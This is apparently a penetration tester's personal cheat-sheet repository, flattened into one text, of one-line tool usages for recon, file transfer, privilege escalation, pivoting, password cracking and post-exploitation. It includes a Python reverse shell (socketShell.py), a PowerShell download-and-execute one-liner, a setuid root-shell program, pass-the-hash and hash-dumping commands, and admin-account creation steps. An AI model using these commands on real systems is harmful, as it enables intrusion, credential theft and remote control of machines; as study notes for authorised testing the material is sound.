├── recon ├── snmpwalk.txt ├── webdav.txt ├── nikto.txt ├── enum4linux.txt ├── recon-ng.txt ├── nbtscan.txt ├── droopescan.txt ├── theharvester.txt ├── reconsteps.txt ├── masscan.txt ├── ncat.txt ├── openvas.txt ├── netstat.txt ├── usernames.txt ├── smtp_enum.txt ├── onesixtyone.txt ├── iis_shortname.txt ├── wpscan.txt ├── dns.txt ├── gobuster.txt ├── password_gathering.txt ├── wfuzz.txt ├── curl.txt └── nmap.txt ├── filetransfer ├── ftp_server.txt ├── dev_tcp.txt ├── http_server.txt ├── windows │ ├── webrequest.txt │ ├── tftp.txt │ ├── web_request.txt │ ├── wget.txt │ ├── winrm.txt │ └── vbs.txt ├── scp.txt ├── nc.txt ├── nginx_file_transfer.txt ├── ftp_commands.txt ├── smb.txt ├── nginx_setup.txt ├── base64.txt ├── rsync.txt └── smb_server.py ├── privesc ├── linux │ └── find-suid.txt └── windows │ ├── hashdump.txt │ ├── sherlock.txt │ └── unquoted-service-paths.txt ├── remote_connection ├── scp.txt ├── telnet.txt ├── pth-winexe.txt ├── ftp.txt ├── psExec.txt ├── ssh.txt ├── winrm.rb ├── winrm.txt ├── remote_desktop.txt ├── psRemoting.txt └── winrm_cert.rb ├── windows ├── llmnr.txt ├── powershell_language_mode.txt ├── download.txt ├── check_antivirus.txt ├── check_architecture.txt ├── rlwrap.txt ├── mssql.txt ├── create_account.txt ├── putty.txt ├── rdesktop.txt ├── runas.txt ├── file_permissions.txt ├── active_directory │ ├── getDomainController.txt │ ├── powerview.txt │ ├── kerberoasting.txt │ ├── asreproasting.txt │ ├── bloodhound.txt │ ├── group_policy_objects.txt │ ├── unconstrained_delegation.txt │ ├── rubeus.txt │ ├── writeDACL.txt │ ├── constrained_delegation.txt │ └── tickets.txt ├── check_services.txt ├── prompt_credentials.txt ├── get_os.txt ├── ads.txt ├── enable_rdp.txt ├── constrained_powershell_bypass.txt ├── reg_query.txt ├── base64.txt ├── pass_the_hash.txt ├── switch_user.txt ├── dpapi.txt └── crackmapexec.txt ├── scripts ├── setuid.c ├── ipScan.sh ├── split_binary.sh ├── printAllAscii.sh ├── portscan.sh ├── printAllAscii.py ├── subnetscan.ps1 ├── subnetscan.sh ├── pingNetwork.sh ├── checkPort.py ├── assembly2shellcode.sh ├── pingNetwork.py ├── socketShell.py ├── iraw2png.pl ├── byte_order_converter.py ├── psMonitor.sh ├── zonetransfer.sh ├── smtpVrfyUsers.py ├── smbver.sh ├── decryptRSA.py ├── smtpVrfyUserList.py ├── convert_to_vbs.py ├── blind_sqli.py ├── blind_nosqli.py └── portscan.py ├── forensics ├── dit.txt ├── convert.txt ├── volatility.txt └── luks_encrypted.txt ├── smb ├── version.txt ├── smbmap.txt ├── smb_relay.txt ├── mount_shares.txt ├── setup.txt ├── smb_scf.txt ├── smbclient.txt └── rpcclient.txt ├── persistence ├── linux │ ├── techniques.txt │ └── ssh.txt └── windows │ ├── wmi.txt │ └── schtasks.txt ├── nfs ├── showmount.txt └── mountShares.txt ├── databases ├── sql │ ├── postgresqlCli.txt │ ├── oracle │ │ ├── oscanner.txt │ │ ├── tnscmd.txt │ │ ├── sqlplus.txt │ │ ├── cli.txt │ │ └── odat.txt │ ├── mssql │ │ ├── mssqlclient.txt │ │ ├── sqsh.txt │ │ └── mssql.txt │ ├── mysql.txt │ ├── blindSqli.txt │ ├── blindSqli.py │ ├── sqlmap.txt │ └── sqli.txt └── nosql │ └── mongo │ └── mongo.txt ├── README.md ├── bruteforce ├── pdfCrack.txt ├── fcrackzip.txt ├── rdp.txt ├── openssl.txt ├── patator.txt ├── password-spray.txt ├── generateWordlist.txt ├── padbusterCookie.txt ├── 7zCrack.sh ├── john.txt ├── hashcat.txt └── hydra.txt ├── networking ├── netdiscover.txt ├── route.txt ├── packets │ ├── icmpReadFile.txt │ ├── sniffPackets.py │ └── capturePackets.py ├── firewall.txt ├── tcpdump.txt ├── iptables.txt └── vm_bridge.txt ├── binary_exploitation ├── buffer_overflow │ ├── nasmShell.txt │ ├── patternCreate.txt │ ├── patternOffset.txt │ ├── windows │ │ └── slMail.txt │ ├── egg_hunting │ │ ├── info.txt │ │ └── bighead.py │ ├── linux │ │ ├── htbOctoberOverflow.py │ │ ├── htbNodeOverflow.py │ │ └── guide.txt │ ├── rop.txt │ ├── msfvenom.txt │ ├── immunityDbg.txt │ └── remote_overflow.txt └── reverse_engineering │ ├── ghidra.txt │ ├── radare2.txt │ ├── recon.txt │ └── gdb.txt ├── infrastructure ├── linux.txt └── windows.txt ├── pivoting ├── ncat.txt ├── windows │ ├── wmic.txt │ ├── netsh.txt │ └── plink.txt ├── portForwarding.txt ├── sshuttle.txt ├── socat.txt ├── meterpreter.txt ├── chisel.txt └── ssh.txt ├── post_exploitation └── windows │ ├── fgdump.txt │ ├── disable_monitoring.txt │ ├── schtasks.txt │ ├── mimikatz.txt │ └── com_hijack.txt ├── certificates ├── openssl.txt └── generateCA.txt ├── mail ├── imap │ └── imapCurl.txt ├── smtp │ └── smtp.txt └── sendemail.txt ├── file_inclusion ├── uploadFile.txt └── lfi.txt ├── google_dorks └── dorks.txt ├── port_knocking └── portKnock.txt ├── azure_ad ├── post_exploitation.txt ├── initial_access.txt ├── azurehound.txt └── recon.txt ├── restricted_shell └── methods.txt ├── tokens └── jwt.txt ├── development ├── cross-compile.txt └── nasm.txt ├── package_injection └── package_injection.txt ├── git └── git.txt ├── reverse_shell ├── msfvenom.txt └── interactive_shell.txt ├── ldap ├── recon.txt └── blind_ldap_injection.txt ├── metasploit └── metasploit.txt └── defense_evasion └── amsi ├── AmsiInitFailed.ps1 ├── OverwriteAmsiContext.ps1 └── AmsiPatchInMemory.ps1 /recon/snmpwalk.txt: -------------------------------------------------------------------------------- 1 | snmpwalk -c public -v2c 10.10.10.92 2 | -------------------------------------------------------------------------------- /filetransfer/ftp_server.txt: -------------------------------------------------------------------------------- 1 | sudo python -m pyftpdlib -p 21 2 | -------------------------------------------------------------------------------- /privesc/linux/find-suid.txt: -------------------------------------------------------------------------------- 1 | find / -user root -perm -4000 -print 2>/dev/null 2 | -------------------------------------------------------------------------------- /remote_connection/scp.txt: -------------------------------------------------------------------------------- 1 | scp {me}@{them}:/home/{user}/packets.pcap packets.pcap 2 | -------------------------------------------------------------------------------- /windows/llmnr.txt: -------------------------------------------------------------------------------- 1 | Check if LLMNR is enabled: 2 | example: gpresult /Scope Computer /v 3 | -------------------------------------------------------------------------------- /scripts/setuid.c: -------------------------------------------------------------------------------- 1 | int main(void) { 2 | setgid(0); 3 | setuid(0); 4 | system("/bin/bash"); 5 | } 6 | -------------------------------------------------------------------------------- /remote_connection/telnet.txt: -------------------------------------------------------------------------------- 1 | Connect to a machine via telnet: 2 | 3 | Step 1(host): telnet -l 4 | -------------------------------------------------------------------------------- /windows/powershell_language_mode.txt: -------------------------------------------------------------------------------- 1 | Check powershell's language mode: 2 | $ExecutionContext.SessionState.LanguageMode 3 | -------------------------------------------------------------------------------- /forensics/dit.txt: -------------------------------------------------------------------------------- 1 | When you have a .dit file, follow this guide: https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/ 2 | -------------------------------------------------------------------------------- /windows/download.txt: -------------------------------------------------------------------------------- 1 | powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15:8000/exploit.html')" 2 | -------------------------------------------------------------------------------- /recon/webdav.txt: -------------------------------------------------------------------------------- 1 | Recon usages of webdav on a website: 2 | 3 | syntax : davtest -url 4 | example: davtest -url http://10.192.23.41 5 | -------------------------------------------------------------------------------- /recon/nikto.txt: -------------------------------------------------------------------------------- 1 | Scan a host for web vulnerabilities 2 | 3 | syntax : nikto -host http://: 4 | example: nikto -host http://10.12.14.44:80 5 | -------------------------------------------------------------------------------- /scripts/ipScan.sh: -------------------------------------------------------------------------------- 1 | network='10.11.1' 2 | 3 | for ip in $(seq 1 5) 4 | do 5 | ping -c 1 $network.$ip > /dev/null && echo "Online: $network.$ip" 6 | done 7 | -------------------------------------------------------------------------------- /smb/version.txt: -------------------------------------------------------------------------------- 1 | Find version of samba via following ways: 2 | 3 | syntax : smbclient --list= 4 | example: smbclient --list=10.10.10.10 5 | 6 | -------------------------------------------------------------------------------- /persistence/linux/techniques.txt: -------------------------------------------------------------------------------- 1 | Check out this page for a few techniques: 2 | https://medium.com/@airman604/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c 3 | -------------------------------------------------------------------------------- /scripts/split_binary.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # split a binary into 2 bytes separated with a - (e.g. ae-2f-ff-00-aa-10...) 3 | xxd -ps $1 | sed 's/.\{2\}/&-/g' > $2 4 | -------------------------------------------------------------------------------- /persistence/windows/wmi.txt: -------------------------------------------------------------------------------- 1 | Use WMI as a LOCAL ADMINISTRATOR to get persistence on a compromised host. 2 | 3 | Powerlurk (https://github.com/Sw4mpf0x/PowerLurk) 4 | -------------------------------------------------------------------------------- /scripts/printAllAscii.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Simple oneliner to print all ascii characters 4 | for ((i=32;i<127;i++)) do printf "\\$(printf %03o "$i")\n"; done 5 | -------------------------------------------------------------------------------- /scripts/portscan.sh: -------------------------------------------------------------------------------- 1 | host=$1 2 | 3 | for port in $(seq 1 65535) 4 | do 5 | (echo something > /dev/tcp/$host/$port && echo "Port $port is open") 2> /dev/null 6 | done 7 | -------------------------------------------------------------------------------- /scripts/printAllAscii.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Simple python script to print all ascii characters 4 | 5 | for i in range(0, 127): 6 | print(chr(i)) 7 | ### 8 | -------------------------------------------------------------------------------- /recon/enum4linux.txt: -------------------------------------------------------------------------------- 1 | enum4linux is a tool which runs multiple scripts to scan a target 2 | 3 | syntax : enum4linux -v 4 | example: enum4linux -v 132.4.23.44 5 | -------------------------------------------------------------------------------- /recon/recon-ng.txt: -------------------------------------------------------------------------------- 1 | See if your email has been dumped: 2 | 3 | Step 1: recon-ng 4 | Step 2: use recon/contacts-credentials/hibp_breach 5 | Step 3: set SOURCE 6 | -------------------------------------------------------------------------------- /nfs/showmount.txt: -------------------------------------------------------------------------------- 1 | Use showmount to see which shares are available on nfs(apt-get install nfs-common): 2 | 3 | syntax : showmount -e 4 | example: showmount -e 10.10.15.43 5 | -------------------------------------------------------------------------------- /recon/nbtscan.txt: -------------------------------------------------------------------------------- 1 | nbtscan is a NETBIOS nameserver scanner 2 | 3 | 4 | Scan a network range: 5 | 6 | syntax : nbtscan .- 7 | example: nbtscan 10.12.31.2-254 8 | -------------------------------------------------------------------------------- /databases/sql/postgresqlCli.txt: -------------------------------------------------------------------------------- 1 | Use PostgreSql from command line: 2 | 3 | syntax : psql -h -d -U -W 4 | example: psql -h localhost -d clients -U tyrone -W 5 | 6 | -------------------------------------------------------------------------------- /windows/check_antivirus.txt: -------------------------------------------------------------------------------- 1 | Check which Antivirus is installed locally 2 | 3 | example: wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName 4 | -------------------------------------------------------------------------------- /scripts/subnetscan.ps1: -------------------------------------------------------------------------------- 1 | for ($x = 1; $x -le 254; $x++) { 2 | for ($y = 0; $y -le 254; $y++) { 3 | Test-Connection -ComputerName "10.9.$x.$y" -Count 1 -ErrorAction SilentlyContinue 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /databases/sql/oracle/oscanner.txt: -------------------------------------------------------------------------------- 1 | oscanner is used to enumerate SID (Service Identifier), which is the database name 2 | 3 | syntax : oscanner -s -P 4 | example: oscanner -s 10.15.10.82 -P 1521 5 | -------------------------------------------------------------------------------- /recon/droopescan.txt: -------------------------------------------------------------------------------- 1 | Droopescan on a Drupal-powered website (https://github.com/droope/droopescan): 2 | 3 | syntax : ./droopescan scan drupal -u 10.12.24.54 4 | example: ./droopescan scan drupal -u 5 | -------------------------------------------------------------------------------- /windows/check_architecture.txt: -------------------------------------------------------------------------------- 1 | Check the architecture of the windows box in powershell: 2 | 3 | example: systeminfo 4 | example: [environment]::Is64BitOperatingSystem 5 | example: [environment]::Is64BitProcess 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Here are all my personal notes I made during my pentest learning experience since the very beginning. 2 | ===================================================================================================== 3 | -------------------------------------------------------------------------------- /nfs/mountShares.txt: -------------------------------------------------------------------------------- 1 | Mount nfs shares on your local machine: 2 | 3 | Step 1: Make a directory somewhere () 4 | Step 2: mount -t nfs : # mount -t nfs 10.10.13.35:/home /tmp/homeCopy 5 | -------------------------------------------------------------------------------- /windows/rlwrap.txt: -------------------------------------------------------------------------------- 1 | Get a shell that can do commands like 'up', 'down', 'left', 'right'... on a windows box: 2 | 3 | Step 1: apt-get install rlwrap 4 | Step 2: rlwrap nc -lvnp 443 5 | Step 3: Get reverse shell connection 6 | -------------------------------------------------------------------------------- /bruteforce/pdfCrack.txt: -------------------------------------------------------------------------------- 1 | pdfcrack is a tool made for cracking password-protected PDF files: 2 | 3 | syntax : pdfcrack -f '.pdf' -w 4 | example: pdfcrack -f 'creditcards.pdf' -w /usr/share/wordlists/rockyou.txt 5 | -------------------------------------------------------------------------------- /recon/theharvester.txt: -------------------------------------------------------------------------------- 1 | Find email-addresses used on a certain site: 2 | 3 | syntax : theharvester -d -b 4 | example: theharvester -d cisco.com -b google 5 | example: theharvester -d cisco.com -b all 6 | -------------------------------------------------------------------------------- /bruteforce/fcrackzip.txt: -------------------------------------------------------------------------------- 1 | fcrackzip is a tool made for cracking password-protected ZIP files: 2 | 3 | syntax : fcrackzip -u -D -p .zip 4 | example: fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt suspicious.zip 5 | -------------------------------------------------------------------------------- /filetransfer/dev_tcp.txt: -------------------------------------------------------------------------------- 1 | Example with a limited shell 2 | 3 | Step 1(host) : nc -lvnp < file.Txt 4 | Step 2(target): bash -c "cat < /dev/tcp// > ./file.txt" 5 | 6 | Don't use 'bash -c' if you have a working bash shell. 7 | -------------------------------------------------------------------------------- /windows/mssql.txt: -------------------------------------------------------------------------------- 1 | Use PowerUpSQL to enumerate and abuse MSSQL instances in the network (https://github.com/NetSPI/PowerUpSQL). 2 | Find the related commands in the cheatsheet: https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet 3 | -------------------------------------------------------------------------------- /databases/sql/oracle/tnscmd.txt: -------------------------------------------------------------------------------- 1 | Use tnscmd to perform certain commands on an oracle listener (default port 1521) 2 | 3 | syntax : tnscmd10g -h 4 | example: tnscmd10g status -h 10.12.32.41 # Error probably means it's password protected 5 | -------------------------------------------------------------------------------- /windows/create_account.txt: -------------------------------------------------------------------------------- 1 | In windows command shell, do following steps to create an account with administrator privileges: 2 | 3 | Step 1(victim): net user /add 4 | Step 2(victim): net localgroup administrators /add 5 | -------------------------------------------------------------------------------- /networking/netdiscover.txt: -------------------------------------------------------------------------------- 1 | Use netdiscover to find hosts on an internal network: 2 | 3 | syntax : netdiscover -r / 4 | example: netdiscover -r 192.168.45.0/24 5 | 6 | syntax : netdiscover -i 7 | example: netdiscover -i eth0 8 | -------------------------------------------------------------------------------- /recon/reconsteps.txt: -------------------------------------------------------------------------------- 1 | My steps for starting port enumeration on a box: 2 | 3 | # Warning: these scans are very loud 4 | TCP: nmap -sC -sV -Pn -p- --min-rate 2000 -oN .nmap 5 | UDP: nmap -sU --top-ports 10000 --min-rate 2000 6 | -------------------------------------------------------------------------------- /binary_exploitation/buffer_overflow/nasmShell.txt: -------------------------------------------------------------------------------- 1 | Use nasm_shell to find the opcode equivalent to 'JMP ESP': 2 | 3 | Step 1: /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 4 | Step 2: Type in the instruction and grab the opcode (jmp esp -> FFE4) 5 | -------------------------------------------------------------------------------- /infrastructure/linux.txt: -------------------------------------------------------------------------------- 1 | All kinds of useful default infrastructure for Linux: 2 | 3 | Custom installed programs: /opt /usr/local/bin /usr/local/sbin 4 | Log files : /var/log 5 | 6 | Default web directories: 7 | 8 | web: /var/www /var/www/html 9 | 10 | -------------------------------------------------------------------------------- /pivoting/ncat.txt: -------------------------------------------------------------------------------- 1 | Tunneling with netcat: 2 | 3 | Step 1(victim): sudo /usr/bin/ncat -l --sh-exec "ncat 987 -p 53" & 4 | Step 2(victim): ssh -p @localhost 5 | 6 | Example: sudo /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & 7 | -------------------------------------------------------------------------------- /recon/masscan.txt: -------------------------------------------------------------------------------- 1 | masscan to scan all tcp/udp ports on a host: 2 | 3 | syntax : sudo masscan -e -p, : --max-rate 4 | example: sudo masscan -e tun0 -p0-65535,U:0-65535 --max-rate 500 10.12.14.54 5 | -------------------------------------------------------------------------------- /scripts/subnetscan.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in $(seq 254) 4 | do 5 | for j in $(seq 254) 6 | do 7 | ping 192.168.$i.$j -c1 -W1 & # '&' backgrounds and makes a new process everytime, so it's pretty loud 8 | done 9 | done | grep from 10 | -------------------------------------------------------------------------------- /post_exploitation/windows/fgdump.txt: -------------------------------------------------------------------------------- 1 | Fgdump.exe is a binary for windows that can be used to dump account hashes on a fully compromised windows machine. 2 | 3 | usage: 4 | Step 1(attacker): Get the 'fgdump.exe' binary to the compromised windows machine 5 | Step 2(victim) : ./fgdump.exe 6 | -------------------------------------------------------------------------------- /recon/ncat.txt: -------------------------------------------------------------------------------- 1 | Connect to a host: 2 | syntax : nc 3 | example: nc 10.12.15.43 4444 < file.txt 4 | ipv6 : nc -6 5 | 6 | Listen on a specific port: 7 | syntax : nc -lvnp 8 | example: nc -lvnp 4444 9 | ipv6 : nc -6 -lvnp 9000 10 | -------------------------------------------------------------------------------- /databases/sql/mssql/mssqlclient.txt: -------------------------------------------------------------------------------- 1 | Connect to a remote mssql instance using Impacket's mssqclclient: 2 | 3 | syntax : python mssqlclient.py ':'@ 4 | example: python /opt/Impacket/examples/mssqlclient.py 'Administrator:L0cal4dm1N'@10.15.15.15 -windows-auth 5 | -------------------------------------------------------------------------------- /databases/sql/oracle/sqlplus.txt: -------------------------------------------------------------------------------- 1 | Use sqlplus to connect to an Oracle DB instance: 2 | 3 | syntax : sqlplus /@:/ 4 | example: sqlplus sc0tt/p4ssw0rd@45.13.14.82:1521/CLIENTS 5 | example: sqlplus sc0tt/p4ssw0rd@45.13.14.82:1521/CLIENTS as sysdba # Kinda like sudo 6 | -------------------------------------------------------------------------------- /windows/putty.txt: -------------------------------------------------------------------------------- 1 | Generate a .ppk private key for remote connection to ssh from Windows: 2 | 3 | # apt-get install putty-tools 4 | syntax : puttygen -t -b -C "@" -o .ppk 5 | example: puttygen -t rsa -b 2048 -C "root@192.168.0.123" -o keyfile.ppk 6 | -------------------------------------------------------------------------------- /remote_connection/pth-winexe.txt: -------------------------------------------------------------------------------- 1 | Use pth-winexe to pass the hash and get shell connection on a windows box 2 | 3 | syntax : pth-winexe -U % // 4 | example: pth-winexe -U Administrator%aad3b435b51404eeabd3b435b51404er:9e73037557cbcebf74ae46481e07b0c7 //13.14.14.82 cmd 5 | -------------------------------------------------------------------------------- /scripts/pingNetwork.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$1" == "" ] 4 | then 5 | echo "Usage : ./pingNetwork.sh " 6 | echo "Example: ./pingNetwork.sh 10.10.10" 7 | else 8 | for i in `seq 1 254`; do 9 | ping -c 1 $1.$i | grep "64 bytes" | cut -d " " -f 4 | sed 's/.$//' 10 | done 11 | fi 12 | -------------------------------------------------------------------------------- /filetransfer/http_server.txt: -------------------------------------------------------------------------------- 1 | Transfer files if python is on the box: 2 | 3 | Step 1(host) : python -m SimpleHTTPServer / python3 http.server 4 | Step 2(target): curl :/file > file 5 | 6 | Alternate step 2(host): wget http://:/filename # Go into /tmp if permission denied 7 | -------------------------------------------------------------------------------- /forensics/convert.txt: -------------------------------------------------------------------------------- 1 | Convert a raw screen dump to a png file: 2 | 3 | Step 1(victim) : cat /sys/class/graphics/fb0/virtual_size # get virtual size dimensions of data (1176, 885 in this case) 4 | Step 2(attacker): ./iraw2png.pl 1176 885 < screen.raw > screen.png # check 'Scripts' folder for the perl script 5 | 6 | -------------------------------------------------------------------------------- /windows/rdesktop.txt: -------------------------------------------------------------------------------- 1 | Connect to a Windows machine with a GUI display of the screen via rdesktop: 2 | 3 | syntax : rdesktop -u -p -g # Geometry allows you to make the GUI window not fully cover your screen 4 | example: rdesktop 10.12.32.43 -u administrator -p 'F0restK33p3r!' -g 90% 5 | -------------------------------------------------------------------------------- /filetransfer/windows/webrequest.txt: -------------------------------------------------------------------------------- 1 | Download a file from victim to attacker host via powershell webrequest: 2 | 3 | Step 1(host) : python -m SimpleHTTPServer 4 | Step 2(target): $url = "http://:/" 5 | Step 3(target): $output = "" 6 | Step 3(target): Invoke-WebRequest -Uri $url -OutFile $output 7 | -------------------------------------------------------------------------------- /privesc/windows/hashdump.txt: -------------------------------------------------------------------------------- 1 | Dump password hashes when you have a windows filesystem mounted on linux: 2 | 3 | Step 1(attacker): Navigate to the right directory (/mnt/vhd/Windows/System32/config) 4 | Step 2(attacker): 5 | 6 | syntax : samdump2 SYSTEM SAM > 7 | example: samdump2 SYSTEM SAM > /tmp/hashes.txt 8 | -------------------------------------------------------------------------------- /binary_exploitation/buffer_overflow/patternCreate.txt: -------------------------------------------------------------------------------- 1 | Create a unique string buffer so we can see at what exact buffer length the target program crashes: 2 | 3 | syntax : /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4 | example: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500 5 | -------------------------------------------------------------------------------- /scripts/checkPort.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | ip = input("Please enter an IP address: ") 4 | port = input("Please enter a port number: ") 5 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 | 7 | if sock.connect_ex((ip, int(port))): 8 | print(f"Port {port} is closed!") 9 | else: 10 | print(f"Port {port} is open!") 11 | ## -------------------------------------------------------------------------------- /bruteforce/rdp.txt: -------------------------------------------------------------------------------- 1 | Use ncrack to bruteforce remote desktop credentials: 2 | 3 | # -f: stop after 1 found credential, ',CL=1' = one connection at a time 4 | 5 | syntax : ncrack -v -f --user -P rdp://,CL=1 6 | example: ncrack -v -f --user administrator -P /usr/share/wordlist/rockyou.txt rdp://10.132.12.3,CL=1 7 | -------------------------------------------------------------------------------- /recon/openvas.txt: -------------------------------------------------------------------------------- 1 | Openvas is an open-source vulnerability scanner which is capable of scanning for multiple vulnerabilities (runs on port 9392) 2 | 3 | Step 1: apt-get install openvas 4 | Step 2: openvas-setup (set password, log in as admin) 5 | Step 3: openvas-start 6 | Step 4: go to localhost:9392 and log in with admin + creds 7 | 8 | -------------------------------------------------------------------------------- /scripts/assembly2shellcode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$1" == "" ] 4 | then 5 | echo "Usage : $0 " 6 | echo "Example: $0 ./shellcode.exe" 7 | else 8 | # Convert disassembly to shellcode 9 | for i in $(objdump -d -M intel $1 | grep "^ " | cut -f 2) 10 | do 11 | echo -n '\x'$i 12 | done 13 | fi 14 | -------------------------------------------------------------------------------- /bruteforce/openssl.txt: -------------------------------------------------------------------------------- 1 | 'bruteforce-salted-openssl' is a bruteforcing tool to crack openssl encrypted plaintext. 2 | 3 | 4 | syntax : bruteforce-salted-openssl -t -f -c -d 5 | example: bruteforce-salted-openssl -t 15 -f /usr/share/wordlists/rockyou.txt -c aes-256-cbc -d sha256 pass_enc.txt 6 | -------------------------------------------------------------------------------- /certificates/openssl.txt: -------------------------------------------------------------------------------- 1 | Openssl is a tool for various cryptography functions 2 | 3 | 4 | Use openssl to convert a cert and key to a PKCS12 file: 5 | 6 | syntax : openssl pkcs12 -export -out .p12 -in -inkey 7 | example: openssl pkcs12 -export -out capsule_corp.p12 -in capsule.cert.pem -inkey capsule.key.pem 8 | -------------------------------------------------------------------------------- /recon/netstat.txt: -------------------------------------------------------------------------------- 1 | Check which ports are open/listening on the local machine: 2 | 3 | Linux: 4 | syntax : netstat -alnp | grep -i list | grep 5 | example: netstat -alnp | grep -i list | grep 80 6 | 7 | Windows: 8 | syntax : netstat -ato | findstr -i list | findstr 9 | example: netstat -ato | findstr -i list | findstr 8080 10 | -------------------------------------------------------------------------------- /binary_exploitation/buffer_overflow/patternOffset.txt: -------------------------------------------------------------------------------- 1 | Crash the target application with the 'pattern_create' pattern, then copy the value at the EIP register to get the exact offset: 2 | 3 | syntax : /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 4 | example: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41414244 5 | -------------------------------------------------------------------------------- /networking/route.txt: -------------------------------------------------------------------------------- 1 | Add or delete routes (Linux): 2 | 3 | Step 1: check routes with 'route' 4 | 5 | Add: 6 | syntax: route add -net / gw 7 | example: route add -net 192.168.5.0/24 gw * ens3 8 | Delete: 9 | syntax: route del -net / gw 10 | exmaple: route del -net 192.168.5.0/24 gw 0.0.0.0 ens3 11 | -------------------------------------------------------------------------------- /pivoting/windows/wmic.txt: -------------------------------------------------------------------------------- 1 | Use wmic to execute code on another computer within the network with found credentials: 2 | syntax : wmic /nide:"" /user:"\" /password:"" process call create "" 3 | example: wmic /node:"ws-1010" /user:"allsafe.com\e.alderson" /password:"MyP@ssw0rD!" process call create "powershell -enc [...snip...]" 4 | 5 | -------------------------------------------------------------------------------- /remote_connection/ftp.txt: -------------------------------------------------------------------------------- 1 | Connect to a machine via ftp (default port 21): 2 | 3 | syntax : ftp 4 | example: ftp 10.12.32.3 5 | 6 | 7 | Download all directories accessible via an ftp user (do this on host box): 8 | 9 | syntax : wget --mirror 'ftp://:@' 10 | example: wget --mirror 'ftp://tyrone:P@s5w0rD!@10.10.12.23' 11 | 12 | -------------------------------------------------------------------------------- /privesc/windows/sherlock.txt: -------------------------------------------------------------------------------- 1 | https://github.com/rasta-mouse/Sherlock 2 | 3 | Sherlock is an enumeration script that checks the Windows system for unpatched privilege escalation vulnerabilities. 4 | Step 1: Get the script to the victim Windows machine 5 | Step 2: 'Import-Module .\Sherlock.ps1'. 6 | Step 3: Choose which function you want to do (Find-AllVulns to check for all vulnerabilities) 7 | -------------------------------------------------------------------------------- /scripts/pingNetwork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import sys 4 | 5 | network = sys.argv[1] 6 | 7 | # check the response 8 | for i in range(1, 254): 9 | cmd = f"ping -c 2 {network}.{i}" 10 | response = os.system(cmd) 11 | 12 | if response == 0: 13 | successMsg = f"Online: {network}.{i}" 14 | os.system(f"echo {successMsg} >> ./online_hosts.txt") 15 | ## 16 | ## 17 | -------------------------------------------------------------------------------- /windows/runas.txt: -------------------------------------------------------------------------------- 1 | Runas is the 'sudo' of Windows: 2 | 3 | Step 1: check which creds are available for which user 4 | example: cmdkey /list 5 | 6 | Step 2: check which user has creds saved and use those 7 | syntax : runas /savecred /user: "cmd /c " 8 | example: runas /savecred /user:Tyrell "cmd /c type C:\Users\Tyrell\Documents\secrets.txt > C:\Windows\Temp\nothing.txt" 9 | -------------------------------------------------------------------------------- /filetransfer/windows/tftp.txt: -------------------------------------------------------------------------------- 1 | Transfer files via tftp, which is quite old, but can still be available: 2 | 3 | Step 1(host) : atftpd --daemon --port 69 #Specify which directory will be open to transactions 4 | Step 2(victim): tftp -i 5 | 6 | Example: tftp -i 192.168.0.124 GET remoteFile.txt 7 | Example: tftp -i 192.168.0.124 PUT localFile.txt 8 | -------------------------------------------------------------------------------- /filetransfer/windows/web_request.txt: -------------------------------------------------------------------------------- 1 | Transfer files via http with powershell: 2 | example: (New-Object System.Net.WebClient).DownloadFile('http://:/','C:\Users\\Desktop\') 3 | 4 | Transfer files with cmd.exe certutil (WILL GET CAUGHT BY ANTIVIRUS): 5 | Step 2(victim): certutil -urlcache -split -f http://:/ C:\\Users\\\\Downloads\\ 6 | -------------------------------------------------------------------------------- /remote_connection/psExec.txt: -------------------------------------------------------------------------------- 1 | Get 'psExec.py' from 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py' 2 | 3 | This script is used for Windows privilege escalation after you have creds for admin/system accounts: 4 | 5 | Step 1(attacker): sudo python psExec.py :''@ 6 | Example : sudo python psExec.py Administrator:adminPass15@10.12.14.15 cmd.exe 7 | -------------------------------------------------------------------------------- /smb/smbmap.txt: -------------------------------------------------------------------------------- 1 | Use smbmap to list available shares of a server and their permissions for a given user: 2 | 3 | syntax : smbmap -u -p '' -H 4 | example: smbmap -u tyrone -p '5cYHpc' -H 10.12.15.10 5 | 6 | 7 | Use smbmap to check contents of an smb share recursively: 8 | 9 | syntax : smbmap -R -H 10 | example: smbmap -R Public -H 10.12.25.10 11 | -------------------------------------------------------------------------------- /scripts/socketShell.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pty 3 | import socket 4 | 5 | host = "10.10.14.19" #sys.argv[1] 6 | port = 4444 #sys.argv[2] 7 | addr = (host, port) 8 | 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | s.connect(addr) 11 | os.dup2(s.fileno(),0) 12 | os.dup2(s.fileno(),1) 13 | os.dup2(s.fileno(),2) 14 | os.putenv("HISTFILE", "/dev/null") 15 | pty.spawn("/bin/bash") 16 | -------------------------------------------------------------------------------- /filetransfer/windows/wget.txt: -------------------------------------------------------------------------------- 1 | Use Powershell wget to transfer files to Windows 2 | 3 | Step 1(host): download 'wget.exe' from the internet 4 | Step 1(host): open http server where the binary is located 5 | Step 3(host): transfer the 'wget.exe' to the victim box 6 